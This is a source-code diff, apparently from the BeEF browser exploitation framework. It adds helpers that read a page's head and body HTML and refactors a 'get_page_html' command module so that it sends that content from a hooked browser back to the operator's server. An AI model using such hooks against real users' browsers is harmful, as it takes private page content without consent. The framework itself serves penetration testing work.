diff --git a/core/main/client/browser.js b/core/main/client/browser.js index 10c5c7f51..360b2e0eb 100644 --- a/core/main/client/browser.js +++ b/core/main/client/browser.js @@ -1935,6 +1935,30 @@ beef.browser = { return foxitplugin; }, + /** + * Returns the page head HTML + **/ + getPageHead:function () { + var html_head; + try { + html_head = document.head.innerHTML.toString(); + } catch (e) { + } + return html_head; + }, + + /** + * Returns the page body HTML + **/ + getPageBody:function() { + var html_body; + try { + html_body = document.body.innerHTML.toString(); + } catch (e) { + } + return html_body; + }, + /** * Dynamically changes the favicon: works in Firefox, Chrome and Opera **/ diff --git a/modules/browser/hooked_domain/get_page_html/command.js b/modules/browser/hooked_domain/get_page_html/command.js index b13096594..10540eb9d 100644 --- a/modules/browser/hooked_domain/get_page_html/command.js +++ b/modules/browser/hooked_domain/get_page_html/command.js @@ -6,18 +6,7 @@ beef.execute(function() { - try { - var html_head = document.head.innerHTML.toString(); - } catch (e) { - var html_head = "Error: document has no head"; - } - try { - var html_body = document.body.innerHTML.toString(); - } catch (e) { - var html_body = "Error: document has no body"; - } - - beef.net.send("<%= @command_url %>", <%= @command_id %>, 'head='+html_head+'&body='+html_body); + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'head='+beef.browser.getPageHead()+'&body='+beef.browser.getPageBody()); });